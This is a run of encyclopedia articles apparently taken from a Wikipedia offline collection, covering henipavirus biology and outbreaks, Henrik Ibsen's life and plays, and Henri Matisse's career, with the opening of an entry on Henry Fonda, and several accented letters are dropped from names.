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          Henipaviruses are pleomorphic (variably shaped), ranging in size from 40 to 600 nm in diameter. They possess a lipid membrane overlying a shell of viral matrix protein. At the core is a single helical strand of genomic RNA tightly bound to N (nucleocapsid) protein and associated with the L (large) and P (phosphoprotein) proteins which provide RNA polymerase activity during replication.


          Embedded within the lipid membrane are spikes of F (fusion) protein trimers and G (attachment) protein tetramers. The function of the G protein is to attach the virus to the surface of a host cell via ephrin B2, a highly conserved protein present in many mammals. The F protein fuses the viral membrane with the host cell membrane, releasing the virion contents into the cell. It also causes infected cells to fuse with neighbouring cells to form large, multinucleated syncytia.


          


          Genome structure


          As with all viruses in the Mononegavirales order, the Hendra virus and Nipah virus genomes are non-segmented, single-stranded negative-sense RNA. Both genomes are 18.2 kb in size and contain six genes corresponding to six structural proteins.


          In common with other members of the Paramyxovirinae subfamily, the number of nucleotides in the henipavirus genome is a multiple of six, known as the 'rule of six'. Deviation from the rule of six, through mutation or incomplete genome synthesis, leads to inefficient viral replication, probably due to structural constraints imposed by the binding between the RNA and the N protein.


          Henipaviruses employ an unusual process called RNA editing to generate multiple proteins from a single gene. The process involves the insertion of extra guanosine residues into the P gene mRNA prior to translation. The number of residues added determines whether the P, V or W proteins are synthesised. The functions of the V and W proteins are unknown, but they may be involved in disrupting host antiviral mechanisms.


          


          Hendra virus


          


          Emergence


          Hendra virus (originally Equine morbillivirus) was discovered in September 1994 when it caused the deaths of fourteen horses, and a trainer at a training complex in Hendra, a suburb of Brisbane in Queensland, Australia.


          The index case, a mare, was housed with 23 other horses after falling ill and died two days later. Subsequently, 19 of the remaining horses succumbed with 13 dying. Both the trainer and a stable hand were involved in nursing the index case and both fell ill within one week of the horses death with an influenza-like illness. The stable hand recovered while the trainer died of respiratory and renal failure. The source of virus was most likely frothy nasal discharge from the index case.


          A second outbreak occurred in August 1994 (chronologically preceding the first outbreak) in Mackay 1000km north of Brisbane resulting in the deaths of two horses and their owner. The owner assisted in autopsies of the horses and within three weeks was admitted to hospital suffering from meningitis. He recovered, but 14 months later developed neurologic signs and died. This outbreak was diagnosed retrospectively by the presence of Hendra virus in the brain of the patient.


          A survey of wildlife in the outbreak areas was conducted and identified pteropid fruit bats as the most likely source of Hendra virus with a seroprevalence of 47%. All of the other 46 species sampled were negative. Virus isolations from the reproductive tract and urine of wild bats indicated that transmission to horses may have occurred via exposure to bat urine or birthing fluids..


          


          Outbreaks


          A total of eight outbreaks of Hendra virus have occurred since 1994, all involving infection of horses. Four of these outbreaks have spread to humans as a result of direct contact with infected horses.


          
            	August 1994, Mackay, Queensland: Death of two horses and one person.

          


          
            	September 1994, Brisbane, Queensland: 14 horses died from a total of 20 infected. Two people infected with one death.

          


          
            	January 1999, Cairns, Queensland: Death of one horse.

          


          
            	October 2004, Cairns, Queensland: Death of one horse. A vet involved in autopsy of the horse was infected with Hendra virus and suffered a mild illness.

          


          
            	December 2004, Townsville, Queensland: Death of one horse.

          


          
            	June 2006, Sunshine Coast, Queensland: Death of one horse.

          


          
            	July 2008, Brisbane, Queensland: Infection of three horses with one death. A veterinary worker from the affected property tested positive to antibodies to Hendra virus.

          


          
            	July 2008, Cannonvale, Queensland: Death of one horse.

          


          The distribution of black and spectacled flying foxes covers the outbreak sites, and the timing of incidents indicates a seasonal pattern of outbreaks possibly related to the seasonality of fruit bat birthing. As there is no evidence of transmission to humans directly from bats, it is thought that human infection only occurs via an intermediate host.


          


          Pathology


          Flying foxes are unaffected by Hendra virus infection. Symptoms of Hendra virus infection of humans may be respiratory, including haemorrhage and oedema of the lungs, or encephalitic resulting in meningitis. In horses, infection usually causes pulmonary oedema and congestion.


          


          Nipah virus


          


          Emergence
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          Nipah virus was identified in 1999 when it caused an outbreak of neurological and respiratory disease on pig farms in peninsular Malaysia, resulting in 105 human deaths and the culling of one million pigs. In Singapore, 11 cases including one death occurred in abattoir workers exposed to pigs imported from the affected Malaysian farms. The Nipah virus has been classified by the CDC as a Category C agent ( http://www.bt.cdc.gov/agent/agentlist-category.asp).


          Symptoms of infection from the Malaysian outbreak were primarily encephalitic in humans and respiratory in pigs. Later outbreaks have caused respiratory illness in humans, increasing the likelihood of human-to-human transmission and indicating the existence of more dangerous strains of the virus.


          Based on seroprevalence data and virus isolations, the primary reservoir for Nipah virus was identified as Pteropid fruit bats including Pteropus vampyrus (Malayan flying fox) and Pteropus hypomelanus (Island flying fox), both of which occur in Malaysia.


          The transmission of Nipah virus from flying foxes to pigs is thought to be due to an increasing overlap between bat habitats and piggeries in peninsular Malaysia. At the index farm, fruit orchards were in close proximity to the piggery, allowing the spillage of urine, faeces and partially eaten fruit onto the pigs. Retrospective studies demonstrate that viral spillover into pigs may have been occurring in Malaysia since 1996 without detection. During 1998, viral spread was aided by the transfer of infected pigs to other farms where new outbreaks occurred.


          


          Outbreaks


          Eight more outbreaks of Nipah virus have occurred since 1998, all within Bangladesh and neighbouring parts of India. The outbreak sites lie within the range of Pteropus species (Pteropus giganteus). As with Hendra virus, the timing of the outbreaks indicates a seasonal effect.
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            	2001 January 31  February 23, Siliguri, India: 66 cases with a 74% mortality rate. 75% of patients were either hospital staff or had visited one of the other patients in hospital, indicating person-to-person transmission.

          


          
            	2001 April  May, Meherpur district, Bangladesh: 13 cases with nine fatalities (69% mortality).

          


          
            	2003 January, Naogaon district, Bangladesh: 12 cases with eight fatalities (67% mortality).

          


          
            	2004 January  February, Manikganj and Rajbari provinces, Bangladesh: 42 cases with 14 fatalities (33% mortality).

          


          
            	2004 19 February  16 April, Faridpur district, Bangladesh: 36 cases with 27 fatalities (75% mortality). Epidemiological evidence strongly suggests that this outbreak involved person-to-person transmission of Nipah virus, which had not previously been confirmed. 92% of cases involved close contact with at least one other person infected with Nipah virus. Two cases involved a single short exposure to an ill patient, including a rickshaw driver who transported a patient to hospital. In addition, at least six cases involved acute respiratory distress syndrome which has not been reported previously for Nipah virus illness in humans. This symptom is likely to have assisted human-to-human transmission through large droplet dispersal.

          


          
            	2005 January, Tangail district, Bangladesh: 12 cases with 11 fatalities (92% mortality). The virus was probably contracted from drinking date palm juice contaminated by fruit bat droppings or saliva.

          


          
            	2007 February  May, Nadia District, India: up to 50 suspected cases with 3-5 fatalities. The outbreak site borders the Bangladesh district of Kushtia where eight cases of Nipah virus encephalitis with five fatalities occurred during March and April 2007. This was preceded by an outbreak in Thakurgaon during January and February affecting seven people with three deaths. All three outbreaks showed evidence of person-to-person transmission.

          


          
            	2008 February - March, Manikganj and Rajbari provinces, Bangladesh: Nine cases with eight fatalities.

          


          Eleven isolated cases of Nipah virus encephalitis have also been documented in Bangladesh since 2001.


          Nipah virus has been isolated from Lyle's flying fox (Pteropus lylei) in Cambodia and viral RNA found in urine and saliva from P. lylei and Horsfield's roundleaf bat (Hipposideros larvartus) in Thailand. Infective virus has also been isolated from environmental samples of bat urine and partially-eaten fruit in Malaysia. Antibodies to henipaviruses have also been found in fruit bats (Pteropus rufus, Eidolon dupreanum) in Madagascar indicating a wide geographic distribution of the viruses. No infection of humans or other species have been observed in Cambodia, Thailand or Madagascar.


          


          Pathology


          In humans, the infection presents as fever, headache and drowsiness. Cough, abdominal pain, nausea, vomiting, weakness, problems with swallowing and blurred vision are relatively common. About a quarter of the patients have seizures and about 60% become comatose and might need mechanical ventilation. In patients with severe disease, their conscious state may deteriorate and they may develop severe hypertension, fast heart rate, and very high temperature.


          Nipah virus is also known to cause relapse encephalitis. In the initial Malaysian outbreak, a patient presented with relapse encephalitis some 53 months after his initial infection. There is no definitive treatment for Nipah encephalitis, apart from supportive measures, such as mechanical ventilation and prevention of secondary infection. Ribavirin, an antiviral drug, was tested in the Malaysian outbreak and the results were encouraging, though further studies are still needed.


          In animals, especially in pigs, the virus causes porcine respiratory and neurologic syndrome also known as barking pig syndrome or one mile cough.


          


          Causes of Emergence


          The emergence of henipaviruses parallels the emergence of other zoonotic viruses in recent decades. SARS coronavirus, Australian bat lyssavirus, Menangle virus and probably Ebola virus and Marburg virus are also harbored by bats and are capable of infecting a variety of other species. The emergence of each of these viruses has been linked to an increase in contact between bats and humans, sometimes involving an intermediate domestic animal host. The increased contact is driven both by human encroachment into the bats territory (in the case of Nipah, specifically pigpens in said territory) and by movement of bats towards human populations due to changes in food distribution and loss of habitat.


          There is evidence of habitat loss for flying foxes both in South Asia and Australia (particularly along the east coast) as well as encroachment of human dwellings and agriculture into the remaining habitats, creating greater overlap of human and flying fox distributions.
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              	Henrik Johan Ibsen
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              Skien, Norway
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              	May 23, 1906 (aged78)
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          Henrik Johan Ibsen (pronounced [ˈhɛnɾɪk ˈɪpsən]; March 20, 1828 May 23, 1906) was a major Norwegian playwright of realistic drama. He is often referred to as the "father of modern drama." Ibsen is held to be, alongside Knut Hamsun, the greatest of Norwegian authors and one of the most important playwrights of all time, celebrated as a national symbol by Norwegians.


          His plays were considered scandalous to many of his era, when Victorian values of family life and propriety largely held sway in Europe and any challenge to them was considered immoral and outrageous. Ibsen's work examined the realities that lay behind many facades, possessing a revelatory nature that was disquieting to many contemporaries.


          Ibsen largely founded the modern stage by introducing a critical eye and free inquiry into the conditions of life and issues of morality. Victorian-era plays were expected to be moral dramas with noble protagonists pitted against darker forces; every drama was expected to result in a morally appropriate conclusion, meaning that goodness was to bring happiness, and immorality pain. Ibsen challenged this notion and the beliefs of his times and shattered the illusions of his audiences.


          


          Family and youth


          Henrik Ibsen was born to Knud Ibsen and Marichen Altenburg, a relatively well-to-do merchant family, in the small port town of Skien, Norway, which was primarily noted for shipping timber. He was a descendant of some of the oldest and most distinguished families of Norway, including the Paus family. Ibsen later pointed out his distinguished ancestors and relatives in a letter to Georg Brandes. Shortly after his birth his family's fortunes took a significant turn for the worse. His mother turned to religion for solace, and his father began suffering from severe depression. The characters in his plays often mirror his parents, and his themes often deal with issues of financial difficulty as well as moral conflicts stemming from dark private secrets hidden from society. It is not surprising that there is only one known photograph of Ibsen in which he is smiling.


          At fifteen, Ibsen left home. He moved to the small town of Grimstad to become an apprentice pharmacist and began writing plays. In 1846, he fathered an illegitimate child with a servant maid whom he rejected. While Ibsen did pay some child support money for fourteen years, he never met his illegitimate son, who ended up as a poor blacksmith. Ibsen went to Christiania (later renamed Oslo) intending to attend the university. He soon cast off the idea (his earlier attempts at entering university were blocked as he did not pass all his entrance exams), preferring to commit himself to writing. His first play, the tragedy Catilina (1850), was published under the pseudonym Brynjolf Bjarme, when he was only 22, but it was not performed. His first play to be staged, The Burial Mound (1850), received little attention. Still, Ibsen was determined to be a playwright, although he was not to write again for some years.


          


          Life and writings


          He spent the next several years employed at the Norwegian Theatre in Bergen, where he was involved in the production of more than 145 plays as a writer, director, and producer. During this period he did not publish any new plays of his own. Despite Ibsen's failure to achieve success as a playwright, he gained a great deal of practical experience at the Norwegian Theatre, experience that was to prove valuable when he continued writing.


          Ibsen returned to Kristiania in 1858 to become the creative director of Kristiania's National Theatre. He married Suzannah Thoresen the same year and she gave birth to their only child, Sigurd. The couple lived in very poor financial circumstances and Ibsen became very disenchanted with life in Norway. In 1864 he left Christiania and went to Sorrento in Italy in self-imposed exile. He was not to return to his native land for the next 27 years, and when he returned it was to be as a noted playwright, however controversial.


          His next play, Brand (1865), was to bring him the critical acclaim he sought, along with a measure of financial success, as was his next play, Peer Gynt (1867), to which Edvard Grieg famously composed the incidental music. Although Ibsen read excerpts of the Danish philosopher Sren Kierkegaard and traces of the latter's influence are evident in Brand, it was not until after Brand that Ibsen came to take Kierkegaard seriously. Initially annoyed with his friend Georg Brandes for comparing Brand to Kierkegaard, Ibsen nevertheless read Either/Or and Fear and Trembling. Subsequently, Ibsen's next play Peer Gynt was consciously informed by Kierkegaard.


          With success, Ibsen became more confident and began to introduce more and more of his own beliefs and judgments into the drama, exploring what he termed the "drama of ideas." His next series of plays are often considered his Golden Age, when he entered the height of his power and influence, becoming the centre of dramatic controversy across Europe.
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          Ibsen moved from Italy to Dresden, Germany in 1868. Here he spent years writing the play he himself regarded as his main work, Emperor and Galilean (1873), dramatizing the life and times of the Roman emperor Julian the Apostate. Although Ibsen himself always looked back on this play as the cornerstone of his entire works, very few shared his opinion, and his next works would be much more acclaimed. Ibsen moved to Munich in 1875 and published A Doll's House in 1879. The play is a scathing criticism of the blind acceptance of traditional roles of men and women in Victorian marriage.


          Ibsen followed A Doll's House with Ghosts (1881), another scathing commentary on Victorian morality, in which a widow reveals to her pastor that she had hidden the evils of her marriage for its duration. The pastor had advised her to marry her then fianc despite his philandering, and she did so in the belief that her love would reform him. But she was not to receive the result she was promised. Her husband's philandering continued right up until his death, and the result is that her son is syphilitic. Even the mention of venereal disease was scandalous, but to show that even a person who followed society's ideals of morality had no protection against it, that was beyond scandalous. Hers was not the noble life which Victorians believed would result from fulfilling one's duty rather than following one's desires. Those idealized beliefs were only the Ghosts of the past, haunting the present.


          In An Enemy of the People (1882), Ibsen went even further. In earlier plays, controversial elements were important and even pivotal components of the action, but they were on the small scale of individual households. In An Enemy, controversy became the primary focus, and the antagonist was the entire community. One primary message of the play is that the individual, who stands alone, is more often "right" than the mass of people, who are portrayed as ignorant and sheeplike. The Victorian belief was that the community was a noble institution that could be trusted, a notion Ibsen challenged. In An Enemy of the People Ibsen chastised not only the right wing or 'Victorian' elements of society but also the liberalism of the time. He illustrated how people on both sides of the social spectrum could be equally self-serving. An Enemy of the People was written as a response to the people who had rejected his previous work, Ghosts. The plot of the play is a veiled look at the way people reacted to the plot of Ghosts. The protagonist is a doctor, a pillar of the community. The town is a vacation spot whose primary draw is a public bath. The doctor discovers that the water used by the bath is being contaminated when it seeps through the grounds of a local tannery. He expects to be acclaimed for saving the town from the nightmare of infecting visitors with disease, but instead he is declared an 'enemy of the people' by the locals, who band against him and even throw stones through his windows. The play ends with his complete ostracism. It is obvious to the reader that disaster is in store for the town as well as for the doctor, due to the community's unwillingness to face reality.


          As audiences by now expected of him, his next play again attacked entrenched beliefs and assumptionsbut this time his attack was not against the Victorians but against overeager reformers and their idealism. Always the iconoclast, Ibsen was equally willing to tear down the ideologies of any part of the political spectrum, including his own.


          The Wild Duck (1884) is considered by many to be Ibsen's finest work, and it is certainly the most complex. It tells the story of Gregers Werle, a young man who returns to his hometown after an extended exile and is reunited with his boyhood friend Hjalmar Ekdal. Over the course of the play the many secrets that lie behind the Ekdals' apparently happy home are revealed to Gregers, who insists on pursuing the absolute truth, or the "Summons of the Ideal". Among these truths: Gregers' father impregnated his servant Gina, then married her off to Hjalmar to legitimize the child. Another man has been disgraced and imprisoned for a crime the elder Werle committed. And while Hjalmar spends his days working on a wholly imaginary "invention", his wife is earning the household income.


          Ibsen displays masterful use of irony: despite his dogmatic insistence on truth, Gregers never says what he thinks but only insinuates, and is never understood until the play reaches its climax. Gregers hammers away at Hjalmar through innuendo and coded phrases until he realizes the truth; Gina's daughter, Hedvig, is not his child. Blinded by Gregers' insistence on absolute truth, he disavows the child. Seeing the damage he has wrought, Gregers determines to repair things, and suggests to Hedvig that she sacrifice the wild duck, her wounded pet, to prove her love for Hjalmar. Hedvig, alone among the characters, recognizes that Gregers always speaks in code, and looking for the deeper meaning in the first important statement Gregers makes which does not contain one, kills herself rather than the duck in order to prove her love for him in the ultimate act of self-sacrifice. Only too late do Hjalmar and Gregers realize that the absolute truth of the "ideal" is sometimes too much for the human heart to bear.
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          Interestingly, late in his career Ibsen turned to a more introspective drama that had much less to do with denunciations of Victorian morality. In such later plays as Hedda Gabler (1890) and The Master Builder (1892) Ibsen explored psychological conflicts that transcended a simple rejection of Victorian conventions. Many modern readers, who might regard anti-Victorian didacticism as dated, simplistic and even clichd, have found these later works to be of absorbing interest for their hard-edged, objective consideration of interpersonal confrontation. Hedda Gabler and The Master Builder centre on female protagonists whose almost demonic energy proves both attractive and destructive for those around them. Hedda Gabler is probably Ibsen's most performed play, with the title role regarded as one of the most challenging and rewarding for an actress even in the present day. There are a few similarities between Hedda and the character of Nora in A Doll's House, but many of today's audiences and theatre critics feel that Hedda's intensity and drive are much more complex and much less comfortably explained than what they view as rather routine feminism on the part of Nora.


          Ibsen had completely rewritten the rules of drama with a realism which was to be adopted by Chekhov and others and which we see in the theatre to this day. From Ibsen forward, challenging assumptions and directly speaking about issues has been considered one of the factors that makes a play art rather than entertainment. Ibsen returned to Norway in 1891, but it was in many ways not the Norway he had left. Indeed, he had played a major role in the changes that had happened across society. The Victorian Age was on its last legs, to be replaced by the rise of Modernism not only in the theatre, but across public life.


          


          Death


          Ibsen died in Kristiania (now Oslo) on May 23, 1906 after a series of strokes. When his nurse assured a visitor that he was a little better, Ibsen sputtered "On the contrary" and died. In 2006 the 100th anniversary of Ibsen's death was commemorated in Norway and many other countries, and the year dubbed the "Ibsen year" by Norwegian authorities. On the occasion of the hundred-year commemoration of Ibsen's death, 23 May 1906, the Ibsen Museum reopened a completely restored writer's home with the original interior, original colours and decor. In May 2006 also a biographical puppet production of Ibsen's life named ' The Death of Little Ibsen' debuted at New York City's Sanford Meisner Theatre.
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                  	1850 The Burial Mound also known as The Warrior's Barrow (Kjmpehjen)


                  	1851 Norma (Norma)


                  	1852 St. John's Eve (Sancthansnatten)


                  	1854 Lady Inger of Oestraat (Fru Inger til steraad)


                  	1855 The Feast at Solhaug (Gildet paa Solhoug)


                  	1856 Olaf Liljekrans (Olaf Liljekrans)


                  	1857 The Vikings at Helgeland (Hrmndene paa Helgeland)


                  	1862 Digte - only released collection of poetry, included " Terje Vigen".


                  	1862 Love's Comedy (Kjrlighedens Komedie)


                  	1863 The Pretenders (Kongs-Emnerne)
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                  	1882 An Enemy of the People (En Folkefiende)


                  	1884 The Wild Duck (Vildanden)


                  	1886 Rosmersholm (Rosmersholm)


                  	1888 The Lady from the Sea (Fruen fra Havet)


                  	1890 Hedda Gabler (Hedda Gabler)


                  	1892 The Master Builder (Bygmester Solness)


                  	1894 Little Eyolf (Lille Eyolf)


                  	1896 John Gabriel Borkman (John Gabriel Borkman)


                  	1899 When We Dead Awaken (Nr vi dde vaagner)
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              Photo of Henri Matisse by Carl Van Vechten, 1933.
            


            
              	Birth name

              	Henri Matisse
            


            
              	Born

              	December 31, 1869(1869-12-31)

              Le Cateau-Cambrsis, Nord-Pas-de-Calais
            


            
              	Died

              	November 3, 1954 (aged84)

              Nice, France
            


            
              	Nationality

              	French
            


            
              	Field

              	painting, printmaking, sculpture, drawing, collage
            


            
              	Movement

              	Fauvism, Modernism
            


            
              	Works

              	Woman With Hat (Madame Matisse), 1905
            

          


          Henri Matisse ( December 31, 1869  November 3, 1954) was a French artist, known for his use of colour and his fluid, brilliant and original draughtsmanship. As a draughtsman, printmaker, and sculptor, but principally as a painter, Matisse is one of the best-known artists of the 20th century. Although he was initially labeled as a Fauve (wild beast), by the 1920s, he was increasingly hailed as an upholder of the classical tradition in French painting. His mastery of the expressive language of colour and drawing, displayed in a body of work spanning over a half-century, won him recognition as a leading figure in modern art.


          


          Early life and education


          Born Henri-mile-Benot Matisse in Le Cateau-Cambrsis, Nord-Pas-de-Calais, France, he grew up in Bohain-en-Vermandois in Northeastern France, where his parents owned a seed business. He was their first son. In 1887 he went to Paris to study law, working as a court administrator in Le Cateau-Cambrsis after gaining his qualification. He first started to paint in 1889, when his mother had brought him art supplies during a period of convalescence following an attack of appendicitis. He discovered "a kind of paradise" as he later described it, and decided to become an artist, deeply disappointing his father. In 1891 he returned to Paris to study art at the Acadmie Julian and became a student of William-Adolphe Bouguereau and Gustave Moreau. Initially he painted still-lifes and landscapes in the traditional Flemish style, at which he achieved reasonable proficiency. Chardin was one of Matisse's most admired painters; as an art student he made copies of four Chardin paintings in the Louvre. In 1896 he exhibited 5 paintings in the salon of the Socit Nationale des Beaux-Arts, and the state bought two of his paintings. In 1897 and 1898, he visited the painter John Peter Russell on the island Belle le off the coast of Brittany. Russell introduced him to Impressionism and to the work of Van Gogh (who had been a good friend of Russell but was completely unknown at the time). Matisse's style changed completely, and he would later say "Russell was my teacher, and Russell explained colour theory to me."


          Influenced by the works of the post-Impressionists Paul Czanne, Gauguin, Van Gogh and Paul Signac, and also by Japanese art, he made colour a crucial element of his paintings. Many of his paintings from 1899 to 1905 make use of a pointillist technique adopted from Signac. In 1898, he went to London to study the paintings of J. M. W. Turner and then went on a trip to Corsica.


          With the model Caroline Joblau, he had a daughter, Marguerite, born in 1894. In 1898 he married Amlie Noellie Parayre; the two raised Marguerite together and had two sons, Jean (born 1899) and Pierre (born 1900). Marguerite often served as a model for Matisse.


          


          Fauvism
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          His first solo exhibition was in 1904, without much success. His fondness for bright and expressive colour became more pronounced after he moved southwards in 1905 to work with Andr Derain and spent time on the French Riviera. The paintings of this period are characterized by flat shapes and controlled lines, with expression dominant over detail.


          In 1905, Matisse and a group of artists now known as " Fauves" exhibited work together in a room at the Salon d'Automne. Critic Louis Vauxcelles described the work with the phrase " Donatello au milieu des fauves!" (Donatello among the wild beasts), referring to a Renaissance-type sculpture that shared the room with them. His comment was printed on 17 October 1905 in Gil Blas, a daily newspaper, and passed into popular usage. The pictures gained considerable condemnation, such as "A pot of paint has been flung in the face of the public" from the critic Camille Mauclair, but also some favourable attention. The painting that was singled out for attacks was Matisse's Woman with a Hat, which was bought by Gertrude and Leo Stein: this had a very positive effect on Matisse, who was suffering demoralization from the bad reception of his work.


          Matisse was recognized as a leader of the group, along with Andr Derain; the two were friendly rivals, each with his own followers. Other members were Georges Braque, Raoul Dufy and Maurice Vlaminck. The Symbolist painter Gustave Moreau was the movement's inspirational teacher, and he did much for the era; a professor at the cole des Beaux-Arts in Paris, he pushed his students to think outside of the lines of formality and to follow their visions.


          


          In 1907 Appolinaire, commenting about Matisse in an article published in La Falange, said, "We are not here in the presence of an extravagant or an extremist undertaking: Matisse's art is eminently reasonable." But Matisse's work of the time also encountered vehement criticism, and it was difficult for him to provide for his family. His controversial 1907 painting Nu bleu was burned in effigy at the Armory Show in Chicago in 1913.


          The decline of the Fauvist movement, after 1906, did nothing to affect the rise of Matisse; many of his finest works were created between 1906 and 1917, when he was an active part of the great gathering of artistic talent in Montparnasse, even though he did not quite fit in, with his conservative appearance and strict bourgeois work habits.


          Matisse had a long association with the Russian art collector Sergei Shchukin. He created one of his major works La Danse specially for Shchukin as part of a two painting commission, the other painting being Music, 1909. Matisse painted an extra (second) version of La Danse that is in the collection of The Museum of Modern Art in New York City.


          


          Gertrude Stein, Acadmie Matisse, and the Cone sisters


          


          Around 1904 he met Pablo Picasso, who was 12 years younger than him. The two became life-long friends as well as rivals and are often compared; one key difference between them is that Matisse drew and painted from nature, while Picasso was much more inclined to work from imagination. The subjects painted most frequently by both artists were women and still lifes, with Matisse more likely to place his figures in fully realized interiors. Matisse and Picasso were first brought together at the Paris salon of Gertrude Stein and her companion Alice B. Toklas. During the first decade of the 20th century Americans in Paris Gertrude Stein, her brothers Leo Stein, Michael Stein and Michael's wife Sarah were important collectors and supporters of Matisse's paintings. In addition Gertrude Stein's two American friends from Baltimore Clarabel and Etta Cone became major patrons of Matisse and Picasso, collecting hundreds of their paintings. The Cone collection is now exhibited in the Baltimore Museum of Art.


          His friends organized and financed the Acadmie Matisse in Paris, a private and non-commercial school in which Matisse instructed young artists. It operated from 1911 until 1917. Hans Purrmann and Sarah Stein were amongst several of his most loyal students.


          


          After Paris
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          In 1917 Matisse relocated to Cimiez on the French Riviera, a suburb of the city of Nice. His work of the decade or so following this relocation shows a relaxation and a softening of his approach. This "return to order" is characteristic of much art of the post-World War I period, and can be compared with the neoclassicism of Picasso and Stravinsky, and the return to traditionalism of Derain. His orientalist odalisque paintings are characteristic of the period; while popular, some contemporary critics found this work shallow and decorative.


          After 1930 a new vigor and bolder simplification appear in his work. American art collector Albert C. Barnes convinced him to produce a large mural for the Barnes Foundation, The Dance II, which was completed in 1932. The Foundation owns several dozen other Matisse paintings.


          He and his wife of 41 years separated in 1939. In 1941 he was diagnosed with cancer and, following surgery, he started using a wheelchair. Until his death he would be cared for by a Russian woman, Lidia Delektorskaya, formerly one of his models. With the aid of assistants he set about creating cut paper collages, often on a large scale, called gouaches dcoups. His Blue Nudes series feature prime examples of this technique he called "painting with scissors"; they demonstrate the ability to bring his eye for colour and geometry to a new medium of utter simplicity, but with playful and delightful power.


          In 1947 he published Jazz, a limited-edition book containing prints of colorful paper cut collages, accompanied by his written thoughts. In the 1940s he also worked as a graphic artist and produced black-and-white illustrations for several books.


          Matisse, thoroughly unpolitical, was shocked when he heard that his daughter Marguerite, who had been active in the Rsistance during the war, was tortured and imprisoned in the Ravensbrck concentration camp.


          In 1951 he finished a four-year project of designing the interior, the glass windows and the decorations of the Chapelle du Rosaire in Vence. This project was the result of the close friendship between Matisse and Sister Jacques-Marie. He had hired her as a nurse and model in 1941 before she became a Dominican Nun and they met again in Vence and started the collaboration, a story related in her 1992 book Henri Matisse: La Chapelle de Vence and in the 2003 documentary "A Model for Matisse".


          Matisse died of a heart attack at the age of 84 in 1954. He is interred in the cemetery of the Monastre Notre Dame de Cimiez and a Matisse Museum was opened in the area.


          


          Legacy


          The first painting of Matisse acquired by a public collection was Still Life with Geraniums (1910), exhibited in the Pinakothek der Moderne. Today, a Matisse painting can fetch as much as US $17 million. In 2002, a Matisse sculpture, Reclining Nude I (Dawn), sold for US $9.2 million, a record for a sculpture by the artist.


          Matisse's daughter Marguerite often aided Matisse scholars with insights about his working methods and his works. She died in 1982 while compiling a catalog of her father's work.


          Matisse's son, Pierre Matisse, (1900-1989) opened an important modern art gallery in New York City during the 1930s. The Pierre Matisse Gallery which was active from 1931 until 1989 represented and exhibited many European artists and a few Americans and Canadians in New York often for the first time. He exhibited Joan Mir, Marc Chagall, Alberto Giacometti, Jean Dubuffet, Andr Derain, Yves Tanguy, Le Corbusier, Paul Delvaux, Wilfredo Lam, Jean-Paul Riopelle, Balthus, Leonora Carrington, Zao Wou Ki, Sam Francis, sculptors Theodore Roszak, Raymond Mason and Reg Butler, and several other important artists, including the work of Henri Matisse.


          Henri Matisse's grandson, Paul Matisse, is an artist and inventor living in Massachusetts. Matisse's great granddaughter Sophie Matisse is active as an artist in 2008.


          


          Partial list of works


          
            	Woman Reading (1894), Museum of Modern Art, Paris


            	Notre-Dame, une fin d'aprs-midi (1902), Albright-Knox Art Gallery, Buffalo, New York


            	The green line (1905)


            	The Open Window (1905)


            	Woman with a Hat (1905)


            	Les toits de Collioure (1905)


            	Landscape at Collioure (1905)


            	Le bonheur de vivre (1906)


            	The Young Sailor II (1906)


            	Self-Portrait in a Striped T-shirt (1906)


            	Madras Rouge (1907)


            	Blue Nude (Souvenir de Biskra) (1907), Baltimore Museum of Art


            	The Dessert: Harmony in Red (The Red Room) (1908)


            	Bathers with a Turtle (1908), Saint Louis Art Museum, Missouri


            	La Danse (1909)


            	Still Life with Geraniums (1910)


            	L'Atelier Rouge (1911)


            	The Conversation (19081912)


            	Zorah on the Terrace (1912)


            	Le Rifain assis (1912)


            	Le rideau jaune (the yellow curtain) (1915)


            	The Window (1916), Detroit Institute of Arts, Michigan


            	La leon de musique (1917)


            	The Painter and His Model (1917)


            	Interior A Nice (1920)


            	Odalisque with Raised Arms (1923), National Gallery of Art, Washington


            	Yellow Odalisque (1926)


            	The Dance II (1932), triptych mural (45 ft by 15 ft) in the Barnes Foundation of Philadelphia


            	Robe violette et Anmones (1937)


            	Woman in a Purple Coat (1937)


            	Le Rve de 1940 (the dream of 1940) (1940)


            	La Blouse Roumaine (1940)


            	Le Lanceur De Couteaux (1943)


            	Annelies, White Tulips and Anemones (1944), Honolulu Academy of Arts


            	L'Asie (1946)


            	Deux fillettes, fond jaune et rouge (1947)


            	Jazz (1947)


            	The Plum Blossoms (1948)


            	Chapelle du Saint-Marie du Rosaire (1948 - 1951)


            	Beasts of the Sea (1950)


            	The Sorrows of the King (1952)


            	Black Leaf on Green Background (1952)


            	La Ngresse (1952)


            	Blue Nudes (1952)


            	The Snail (1953)


            	Le Bateau (1954) (This gouache created a minor stir because MOMA had mistakenly displayed it upside-down for 47 days in 1961.)
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            	Jazz, 1947


            	Matisse on Art, collected by Jack D. Flam, 1973. ISBN 0714815187

          


          
            Retrieved from " http://en.wikipedia.org/wiki/Henri_Matisse"
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              	Henry Fonda
            


            
              	Image:Fonda.henry.12am.JPG

              Henry Fonda in the classic 1957 film 12 Angry Men.
            


            
              	Born

              	Henry Jaynes Fonda

              May 16, 1905 (1905-05-16)

              Grand Island, Nebraska, U.S.
            


            
              	Died

              	August 12, 1982 (aged77)

              Los Angeles, California, U.S.
            


            
              	Years active

              	1935 1982
            


            
              	Spouse(s)

              	Margaret Sullavan

              (1931-1932)

              Frances Seymour Brokaw (1936-1950)

              Susan Blanchard

              (1950-1956)

              Afdera Franchetti

              (1957-1961)

              Shirlee Maye Adams

              (1965-1982)
            


            
              	
                
                  
                    	Awards won
                  


                  
                    	Academy Awards
                  


                  
                    	Academy Honorary Award

                    1980 Lifetime Achievement

                    Best Actor

                    1981 On Golden Pond
                  


                  
                    	BAFTA Awards
                  


                  
                    	Best Actor

                    1957 12 Angry Men
                  


                  
                    	Golden Globe Awards
                  


                  
                    	Cecil B. DeMille Award

                    1980 Lifetime Achievement

                    Best Actor - Motion Picture Drama

                    1982 On Golden Pond
                  


                  
                    	Grammy Awards
                  


                  
                    	Best Spoken Word Album

                    1977 Great American Documents
                  


                  
                    	Tony Awards
                  


                  
                    	Best Leading Actor in a Play

                    1948 Mister Roberts
                  


                  
                    	Other Awards
                  


                  
                    	AFI Life Achievement Award

                    1978 Lifetime Achievement
                  

                

              
            

          


          Henry Jaynes Fonda ( May 16, 1905  August 12, 1982) was a highly acclaimed Academy Award-winning American film and stage actor, best known for his roles as plain-speaking idealists. Fonda's subtle, naturalistic acting style preceded by many years the popularization of Method acting.


